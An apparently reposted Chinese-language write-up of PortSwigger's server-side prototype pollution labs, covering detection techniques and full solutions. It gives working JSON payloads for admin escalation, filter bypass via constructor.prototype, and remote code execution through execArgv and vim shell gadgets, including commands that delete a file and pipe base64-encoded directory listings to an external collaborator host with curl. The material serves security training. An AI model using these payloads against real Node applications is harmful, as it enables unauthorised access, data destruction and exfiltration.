【Web】portswigger 服务端原型污染 labs 全解

news2024/11/27 19:00:21

目录

服务端原型污染

为什么服务器端原型污染更难检测?

通过受污染的属性反射检测服务器端原型污染

lab1:通过服务器端原型污染进行权限提升

无需污染属性反射即可检测服务器端原型污染 

状态代码覆盖

JSON 空格覆盖

字符集覆盖

lab2:检测没有污染属性反射的服务器端原型污染

绕过输入过滤器以避免服务器端原型污染

lab3:绕过有缺陷的输入过滤器来服务器端原型污染 

通过服务器端原型污染执行远程代码

识别易受攻击的请求

通过 child_process.fork() 执行远程代码

lab4:通过服务器端原型污染执行远程代码

通过 child_process.execSync() 执行远程代码

lab5:通过服务器端原型污染泄露敏感数据


服务端原型污染

JavaScript 原本是一种运行在浏览器上的客户端语言,但随着 Node.js 等服务端运行时的出现,JavaScript 被广泛用于构建服务器、API 和其他后端应用,从逻辑上讲,这也意味着原型污染漏洞也有可能出现在服务端环境中。

虽然基本概念大致相同,但识别服务器端原型污染漏洞并将其开发为可利用的漏洞的过程带来了一些额外的挑战。

在本节中,您将学习多种黑盒检测服务器端原型污染的技术。我们将介绍如何高效且无损地进行检测,然后使用交互式、故意设置漏洞的实验室来演示如何利用原型污染进行远程代码执行。

为什么服务器端原型污染更难检测?

由于多种原因,服务器端原型污染通常比客户端变体更难检测:

  • 无法访问源代码- 与客户端漏洞不同,您通常无法访问易受攻击的 JavaScript。这意味着没有简单的方法来了解存在哪些接收器或发现潜在的小工具属性。
  • 缺乏开发者工具- 由于 JavaScript 在远程系统上运行,因此您无法像使用浏览器的 DevTools 检查 DOM 那样在运行时检查对象。这意味着,除非您导致网站行为发生明显变化,否则很难判断您何时成功污染了原型。这种限制显然不适用于白盒测试。
  • DoS 问题- 使用真实属性成功污染服务器端环境中的对象通常会破坏应用程序功能或彻底导致服务器瘫痪。由于很容易无意中导致拒绝服务 (DoS),因此在生产环境中进行测试可能会很危险。即使您确实发现了漏洞,但当您在此过程中实质上破坏了网站时,将其开发成漏洞利用也是很棘手的。
  • 污染持久性- 在浏览器中测试时,只需刷新页面即可撤消所有更改并再次获得干净的环境。一旦污染了服务器端原型,此更改将持续存在 Node 进程的整个生命周期,并且您无法重置它。

在以下章节中,我们将介绍一些非破坏性技术,这些技术使您能够尽管存在这些限制,但仍可以安全地测试服务器端原型污染。

通过受污染的属性反射检测服务器端原型污染

开发人员容易陷入的一个陷阱是忘记或忽略这样一个事实:JavaScriptfor...in循环会迭代对象的所有可枚举属性,包括通过原型链继承的属性。

您可以按照如下方式自行测试:

const myObject = { a: 1, b: 2 };

// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';

// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false

// list names of properties of myObject
for(const propertyKey in myObject){
    console.log(propertyKey);
}

// Output: a, b, foo

这也适用于数组,其中for...in循环首先遍历每个索引,这本质上只是引擎盖下的数字属性键,然后再转到任何继承的属性。

const myArray = ['a','b'];
Object.prototype.foo = 'bar';

for(const arrayKey in myArray){
    console.log(arrayKey);
}

// Output: 0, 1, foo

无论哪种情况,如果应用程序稍后在响应中包含返回的属性,则这可以提供一种探测服务器端原型污染的简单方法。

POST或者PUT向应用程序或 API 提交 JSON 数据的请求是此类行为的主要候选者,因为服务器通常会使用新对象或更新对象的 JSON 表示形式进行响应。在这种情况下,您可以尝试Object.prototype使用任意属性污染全局变量,如下所示:

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

如果该网站存在漏洞,则注入的属性将会出现在响应中的更新对象中:

HTTP/1.1 200 OK
...
{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}

在极少数情况下,网站甚至可能使用这些属性来动态生成 HTML,从而导致注入的属性在您的浏览器中呈现。

一旦确定服务器端原型污染是可能的,您就可以寻找可用于漏洞利用的潜在小工具。任何涉及更新用户数据的功能都值得调查,因为这些功能通常涉及将传入数据合并到代表应用程序内用户的现有对象中。如果您可以向自己的用户添加任意​​属性,这可能会导致许多漏洞,包括权限提升。

lab1:通过服务器端原型污染进行权限提升

先wiener:peter登录

修改address,抓包

payload:

 

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"mkHHRN8uZFBOF4GrtsKd2qGodQT1EKFi",
"__proto__": {
    "isAdmin":true
}
}

 

 回到浏览器发现多了一栏管理面板

删除用户

 

无需污染属性反射即可检测服务器端原型污染 

大多数情况下,即使成功污染了服务器端原型对象,也不会在响应中看到受影响的属性。鉴于您也无法在控制台中检查对象,因此在尝试判断注入是否有效时,这会带来挑战。

一种方法是尝试注入与服务器的潜在配置选项相匹配的属性。然后,您可以比较注入前后服务器的行为,以查看此配置更改是否已生效。如果是这样,这强烈表明您已成功找到服务器端原型污染漏洞。

在本节中,我们将介绍以下技术:

  • 状态代码覆盖
  • JSON 空格覆盖
  • 字符集覆盖

所有这些注入都是非破坏性的,但成功后仍会在服务器行为中产生一致且明显的变化。您可以使用本节中介绍的任何技术来解决随附的实验。

这只是一小部分潜在技术,让您了解其可能性。如需更多技术细节以及 PortSwigger Research 如何开发这些技术的见解,请查看Gareth Heyes 撰写的白皮书《服务器端原型污染:无 DoS 的黑盒检测》。

状态代码覆盖

Express 等服务器端 JavaScript 框架允许开发人员设置自定义 HTTP 响应状态。如果出现错误,JavaScript 服务器可能会发出通用 HTTP 响应,但在正文中包含 JSON 格式的错误对象。这是提供有关错误发生原因的更多详细信息的一种方式,从默认 HTTP 状态中可能看不出来。

尽管有点误导,但收到200 OK响应的情况相当常见,只是响应主体包含具有不同状态的错误对象。

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

Node 的http-errors模块包含以下用于生成此类错误响应的函数:

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) {
        status = 500
    }
    //...

status第一行突出显示的代码尝试通过从传入函数的对象中读取status或属性 来分配变量statusCode。如果网站的开发人员没有明确设置status错误的属性,您可以使用它来探测原型污染,如下所示:

  1. 找到触发错误响应的方法并记下默认状态代码。
  2. 尝试用您自己的属性污染原型status。务必使用不太可能因任何其他原因发出的模糊状态代码。
  3. 再次触发错误响应并检查是否已成功覆盖状态代码。

JSON 空格覆盖

Express 框架提供了一个json spaces选项,可让您配置用于在响应中缩进任何 JSON 数据的空格数。在许多情况下,开发人员会保留此属性未定义,因为他们对默认值感到满意,这使其容易通过原型链受到污染。

如果您有权访问任何类型的 JSON 响应,您可以尝试使用自己的json spaces属性污染原型,然后重新发出相关请求,看看 JSON 中的缩进是否相应增加。您可以执行相同的步骤来删除缩进,以确认漏洞。

这是一种非常有用的技术,因为它不依赖于要反映的特定属性。它也非常安全,因为您只需将属性重置为与默认值相同的值即可有效地打开或关闭污染。

虽然原型污染问题已在 Express 4.17.4 中修复,但尚未升级的网站可能仍然存在漏洞。

字符集覆盖

Express 服务器通常会实现所谓的“中间件”模块,以便在将请求传递给适当的处理程序函数之前对其进行预处理。例如,该body-parser模块通常用于解析传入请求的主体以生成req.body对象。它包含另一个小工具,可用于探测服务器端原型污染。

请注意,以下代码将选项对象传递给函数read(),该函数用于读取请求主体进行解析。其中一个选项encoding确定要使用的字符编码。这可以通过函数调用从请求本身派生getCharset(req),也可以默认为 UTF-8。

var charset = getCharset(req) or 'utf-8'

function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

如果仔细查看该getCharset()函数,你会发现开发人员似乎已经预料到Content-Type标头可能不包含显式charset属性,因此他们实现了一些逻辑,在这种情况下会恢复为空字符串。至关重要的是,这意味着它可能可以通过原型污染进行控制。

如果您可以找到一个在响应中可见其属性的对象,则可以使用它来探测源。在下面的示例中,我们将使用 UTF-7 编码和 JSON 源。

 

1.将任意 UTF-7 编码的字符串添加到在响应中反映的属性。例如,fooUTF-7 中为+AGYAbwBv-

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"+AGYAbwBv-"
}

2.发送请求。服务器默认不会使用 UTF-7 编码,因此该字符串应以编码形式出现在响应中。

3.content-type尝试使用明确指定 UTF-7 字符集的属性 来污染原型:

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"default",
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }
}

4.重复第一个请求。如果你成功污染了原型,那么 UTF-7 字符串现在应该在响应中被解码:

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"foo"
}

由于 Node_http_incoming模块中的一个错误,即使请求的实际Content-Type标头包含其自己的charset属性,此方法也能正常工作。为了避免在请求包含重复标头时覆盖属性,该函数会在将属性传输到对象 _addHeaderLine()之前检查是否存在具有相同键的属性IncomingMessage

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

lab2:检测没有污染属性反射的服务器端原型污染

还是一样的入口打入payload:

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RhLXJyIniZvHbQtmmlPzp8Ola8o50e8n","__proto__": {
    "status":555
}}

最后再可以破坏json格式发包,可以看到statusCode和status均为污染的值

 

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RhLXJyIniZvHbQtmmlPzp8Ola8o50e8n","__proto__": {
    "status":555
}

 

绕过输入过滤器以避免服务器端原型污染

网站通常会尝试通过过滤可疑key(例如)来防止或修补原型污染漏洞__proto__。这不是一种强大的长期解决方案,因为有多种方法可以绕过它。例如,攻击者可以:

  • 对禁止的关键字进行模糊处理,以便在清理过程中遗漏它们。有关更多信息,请参阅绕过有缺陷的密钥清理。
  • 通过构造函数属性而不是访问原型__proto__。有关更多信息,请参阅通过构造函数进行原型污染

Node 应用程序也可以分别__proto__使用命令行标志--disable-proto=delete或完全删除或禁用--disable-proto=throw。但是,也可以通过使用构造函数技术来绕过这一点。

lab3:绕过有缺陷的输入过滤器来服务器端原型污染 

直接__proto__打入失败

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"sl1iMzHeci9JLYnVPDL5C5fdlpLzQLRZ",
    "__proto__": {
        "isAdmin":true
    }
}

尝试通过constructor配合prototype属性污染 

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"sl1iMzHeci9JLYnVPDL5C5fdlpLzQLRZ",
    "constructor": {
    "prototype": {
        "isAdmin":true
    }
}
}

成功污染

删除指定用户

 

通过服务器端原型污染执行远程代码

虽然客户端原型污染通常会使易受攻击的网站暴露于DOM XSS,但服务器端原型污染可能会导致远程代码执行 (RCE)。在本节中,您将学习如何识别可能发生这种情况的情况以及如何利用 Node 应用程序中的一些潜在载体。

识别易受攻击的请求

Node 中有许多潜在的命令执行接收器,其中许多都出现在child_process模块中。这些通常由异步发生的请求调用,而您首先可以利用该请求污染原型。因此,识别这些请求的最佳方法是使用有效负载污染原型,该负载在调用时触发与 Burp Collaborator 的交互。

环境变量NODE_OPTIONS允许您定义一串命令行参数,每当您启动新的 Node 进程时,这些参数都应默认使用。由于这也是env对象的一个​​属性,因此如果未定义,您可以通过原型污染来控制它。

Node 中用于创建新子进程的一些函数接受一个可选shell属性,该属性允许开发人员设置用于运行命令的特定 shell(例如 bash)。通过将其与恶意属性相结合NODE_OPTIONS,你可以污染原型,从而导致每次创建新的 Node 进程时都与 Burp Collaborator 进行交互:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

通过 child_process.fork() 执行远程代码

child_process.spawn()和 等方法child_process.fork()使开发人员能够创建新的 Node 子进程。该fork()方法接受一个选项对象,其中一个潜在选项是属性execArgv。这是一个字符串数组,其中包含生成子进程时应使用的命令行参数。如果开发人员未定义它,这可能也意味着它可以通过原型污染进行控制。

由于此小工具允许您直接控制命令行参数,因此您可以访问一些使用NODE_OPTIONS无法实现的攻击媒介。特别有趣的是--eval参数,它使您能够传入将由子进程执行的任意 JavaScript。这可能非常强大,甚至允许您将其他模块加载到环境中:

"execArgv": [
    "--eval=require('<module>')"
]

除了 之外fork(),该child_process模块还包含execSync()方法,该方法将任意字符串作为系统命令执行。通过链接这些 JavaScript 和命令注入接收器,您可以潜在地升级原型污染,从而在服务器上获得完整的 RCE 功能。

lab4:通过服务器端原型污染执行远程代码

wiener:peter登录后直接给了管理面板

看到管理面板有一个运行工具

 在触发新的任务执行之前,先在./my-account/change-address处污染execArgv

payload:

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QfjGaaPRixjvc2yS2bynoQ1qSyxrmeTY","__proto__": {
    "execArgv":[
"--eval=require('child_process').execSync('curl https://10z9zs800s6f7pgfsey1zx2nhen5b0zp.oastify.com')"
    ]
}}

 

再回到控制面板触发任务

 

看到成功执行命令

 再在./my-account/change-address打入payload:

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QfjGaaPRixjvc2yS2bynoQ1qSyxrmeTY","__proto__": {
    "execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
}}

成功删除指定文件

 

通过 child_process.execSync() 执行远程代码

在上例中,我们child_process.execSync()通过--eval命令行参数自行注入了接收器。在某些情况下,应用程序可能会自行调用此方法以执行系统命令。

fork()一样,该execSync()方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv,但您仍然可以通过同时污染shellinput将系统命令注入正在运行的子进程中: 

  • input选项只是一个字符串,它被传递给子进程的stdin流并由 执行为系统命令execSync()。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input属性本身可能未定义。
  • shell选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()使用系统的默认 shell 来运行命令,因此这也可以不定义。

通过污染这两个属性,您可能能够覆盖应用程序开发人员想要执行的命令,而是在您选择的 shell 中运行恶意命令。请注意,这有几个注意事项:

  • shell选项仅接受 shell 可执行文件的名称,不允许您设置任何其他命令行参数。
  • shell 总是使用-c参数执行,大多数 shell 都使用参数来让您以字符串形式传递命令。但是,-c在 Node 中设置标志会对提供的脚本运行语法检查,这也会阻止它执行。因此,尽管有解决方法,但使用 Node 本身作为攻击的 shell 通常很棘手。
  • 由于input包含您的有效载荷的属性是通过stdin传递的,因此您选择的 shell 必须接受来自stdin的命令。

虽然文本编辑器 Vim 和 ex 并非真正用来充当 shell,但它们确实满足了所有这些条件。如果服务器上恰好安装了其中任何一个,就会为 RCE 创建一个潜在的载体:

"shell":"vim",
"input":":! <command>\n"

Vim 具有交互式提示,并期望用户点击Enter以运行提供的命令。因此,您需要通过\n在有效负载末尾添加换行符来模拟这一点,如上例所示。

给一个演示:

VIM中执行Shell命令(炫酷) - ShadonSniper - 博客园

该技术的另一个限制是,有些你可能想用于攻击的工具默认也不从stdin读取数据。然而,有一些简单的方法可以解决这个问题。比如,在 curl 中,你可以使用 -d @- 参数从标准输入读取数据,并将其作为 POST 请求的请求体发送。

curl 命令中,@- 表示从标准输入读取数据。这个符号将告诉 curl,它应该使用前面通过管道传输的数据作为请求的主体。具体到你给出的命令中,@- 会将 base64 编码后的内容作为 POST 请求发送到指定的 URL。

在其他情况下,你可以使用 xargs,它会将标准输入转换为可以传递给命令的参数列表。

lab5:通过服务器端原型污染泄露敏感数据

老地方打入污染

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QLYMvhHqjIhwUqgTvwq7py40PrxiStra","__proto__": {
    "shell":"vim",
    "input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com\n"
}
}

 运行任务

成功执行命令 

 再次打入payload:

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QLYMvhHqjIhwUqgTvwq7py40PrxiStra","__proto__": {
    "shell":"vim",
    "input":":! ls /home/carlos | base64 | curl -d @- https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com\n"
}
}

 再触发

看到成功接收到post请求

base64解码后拿到敏感信息

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2188410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pikachu-xss防范措施 - href输出 js输出

总体原则&#xff1a; 输入做过滤&#xff0c;输出做转义 过滤&#xff1a;根据业务需要进行过滤&#xff0c;如&#xff1a;输入点要求输入手机号&#xff0c;则只允许输入手机号格式的数字&#xff1b; 转义&#xff1a;所有输出到前端的数据&#xff0c;都根据输出点进行转…

银河麒麟V10如何快速进入单用户模式?

银河麒麟V10如何快速进入单用户模式&#xff1f; 1. 进入GRUB菜单2. 编辑启动项3. 登录系统4. 修改启动参数5. 退出单用户模式 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 银河麒麟高级服务器操作系统V10在系统维护或故障排查时&#xf…

70.【C语言】动态内存管理(重点)(3)

承接69.【C语言】动态内存管理(重点)(2)文章 目录 4.calloc函数 cplusplus网的翻译 提炼要点 使用 5.recalloc函数 使用说明 作用 调整内存空间的几种情况 1.原有空间之后有足够大的空间 2.原有空间之后没有足够大的空间 建议 代码 用recalloc函数来实现malloc函…

学习C语言(22)

整理今天的学习内容 1.常见的动态内存的错误 &#xff08;1&#xff09;对NULL指针进行解引用操作 &#xff08;2&#xff09;对动态开辟空间的越界访问 &#xff08;3&#xff09;对非动态开辟内存使用free释放 &#xff08;4&#xff09;使用free释放一块动态开辟内存的一部…

抖音巨量千川涨粉操作流程,值得学习

抖音巨量千川涨粉操作流程值得学习:rjxbb0616 1、找到抖音合作码&#xff08;在抖音APP里&#xff1a;我-右上角三条杠-设置-账号与安全-我的合作码&#xff09;复制合作码发给合作商。 2、合作商在千川平台上发布一个虚拟的热门作品到抖音&#xff0c;然后在千川账户建立目标账…

mysql连接池

MySQL连接池 什么是数据库连接池&#xff1f; ​ 定义&#xff1a;数据库连接池&#xff08;Connection pooling&#xff09;是程序启动时建立一定数量的数据库连接&#xff0c;并将这些连接组成 一个连接池&#xff0c;由程序动态地对池中的连接进行申请&#xff0c;使用&am…

HTML:相关概念以及标签

目录 什么是网页? 什么是HTML语言? 语法规范 HTML基本结构标签 DOCTYPE,lang以及字符集 HTML常用标签 5>图像标签(重要) 除此之外还有几个调整图片属性的标签 图像标签总结 什么是网页? 我们平时使用电脑和手机都是离不开网站和网页的,那么什么是网页呢?什么又是网…

Yolov8改进轻量级网络Ghostnetv2

1,理论部分 轻量级卷积神经网络 (CNN) 专为移动设备上的应用程序而设计,具有更快的推理速度。卷积运算只能捕获窗口区域中的局部信息,这会阻止性能进一步提高。将自我注意引入卷积可以很好地捕获全局信息,但会在很大程度上阻碍实际速度。在本文中,我们提出了一种硬件友好…

【技术分析】嘉楠科技SoC芯片K230

概述 K230是嘉楠科技Kendryte系列AIoT芯片中的最新一代SoC芯片&#xff0c;该芯片采用全新的多异构单元加速计算架构&#xff0c;集成的玄铁C908具有2个高能效RISCV计算核心&#xff0c;内置新一代KPU&#xff08;Knowledge Process Unit&#xff09;智能计算单元&#xff0c;…

【cpp/c++ summary 工具】 Hunter 报错 CMake hunter error: Unexpected MSVC_VERSION

原因&#xff1a;使用的MSVC编译器版本较高&#xff0c;而Hunter版本较低&#xff0c;可在https://github.com/cpp-pm/hunter/releases配置高版本Hunter # HunterGate( # URL "https://github.com/cpp-pm/hunter/archive/v0.23.297.tar.gz" # SHA1 "33…

【解决办法】git clone报错unable to access ‘xxx‘: SSL certificate problem:

使用git clone 时报错unable to access xxx: SSL certificate problem: 这个报错通常是由于SSL证书问题引起的。通常可以按照以下步骤进行排查&#xff1a; 检查网络连接&#xff1a;确保你的网络连接正常&#xff0c;可以访问互联网。尝试使用其他网站或工具测试网络连接是否正…

netty之Netty集群部署实现跨服务端通信的落地方案

前言 在一些小型用户体量的socket服务内&#xff0c;仅部署单台机器就可以满足业务需求。但当遇到一些中大型用户体量的服务时&#xff0c;就需要考虑讲Netty按照集群方式部署&#xff0c;以更好的满足业务诉求。但Netty部署集群后都会遇到跨服务端怎么通信&#xff0c;也就是有…

【PS】删除自定义形状,添加自定义形状

删除自定义形状 在这里选择删除形状为灰色的时候&#xff0c;是不能直接删除的&#xff0c;需要打开形状窗口后才能删除。 找到形状窗口&#xff0c;打开它 然后就可以删除形状了。 导入形状 右键&#xff0c;导入形状 选择你要导入的形状包&#xff08;我这个是某宝买…

Stable Diffusion绘画 | 来训练属于自己的模型:秋叶训练器使用

花了不少时间搜索尝试&#xff0c;都没有找到解决上一篇文章遗留问题的解决方案&#xff0c;导致无法使用 cybertronfurnace 这个工具来完成炼丹&#xff0c;看不到炼丹效果。 但考虑到&#xff0c;以后还是要训练自己的模型&#xff0c; 于是决定放弃 cybertronfurnace&…

数据结构与算法——Java实现 28.二叉树的锯齿形层序遍历

努力成为你想要成为的那种人&#xff0c;去奔赴你想要的生活 —— 24.10.4 103. 二叉树的锯齿形层序遍历 给你二叉树的根节点 root &#xff0c;返回其节点值的 锯齿形层序遍历 。&#xff08;即先从左往右&#xff0c;再从右往左进行下一层遍历&#xff0c;以此类推&#xff…

【Unity】双摄像机叠加渲染

一、前言 之前我在做我的一个Unity项目的时候&#xff0c;需要绘制场景网格的功能&#xff0c;于是就用到了UnityEngine.GL这个图形库来绘制&#xff0c;然后我发现绘制的网格线是渲染在UI之后的&#xff0c;也就是说绘制出来的图形会遮盖在UI上面&#xff0c;也就导致一旦这些…

第十八章(数据在内存中的储存)

1. 整数在内存中的存储 2. ⼤⼩端字节序和字节序判断 3. 浮点数在内存中的存储 我本将心向明月&#xff0c;奈何明月照沟渠正文开始 一、.整数在内存中的储存 整数的2进制的表示方法有三种 1.原码 2.反码 3.补码 这里在第十章我们有详细讲解&#xff0c;有需要的同学可以自…

网络编程项目框架内容

基于TCP的云端书阅管理系统 通过网络实现图书借阅网站&#xff0c;包括服务器与客户端&#xff0c;客户端与服务器是基于TCP连接。 客户端描述&#xff1a;客户端运行会与服务器端进行连接&#xff0c;连接成功后&#xff0c;显示注册登录界面。此时&#xff0c;客户端可以选…

算法: FriendShip - Kruskal+并查集判环

题目 A-Friendship_2024.5.7 (nowcoder.com) 思路分析 求所有符合题意情况的最大值中的最小值&#xff1b;符合题意是指保证图的连通性。那么贪心思路&#xff0c;将所有已存在的关系和可能存在的关系存储起来&#xff0c;利用Kruskal贪心算法每次取权值最小的且不构成回路的…

从零开始讲PCIe(2)——PCI总线传输模型与机制

一、前言 在之前的内容中&#xff0c;我们已经对PCI有了一些基本的认识&#xff0c;我们了解了PCI的一般架构&#xff0c;标准传输周期等相关的内容&#xff0c;接下来我们会进一步了解PCI具体的传输模型和传输机制。 二、PCI传输模型 PCI一共有三种数据传输模型&#xff0c;分…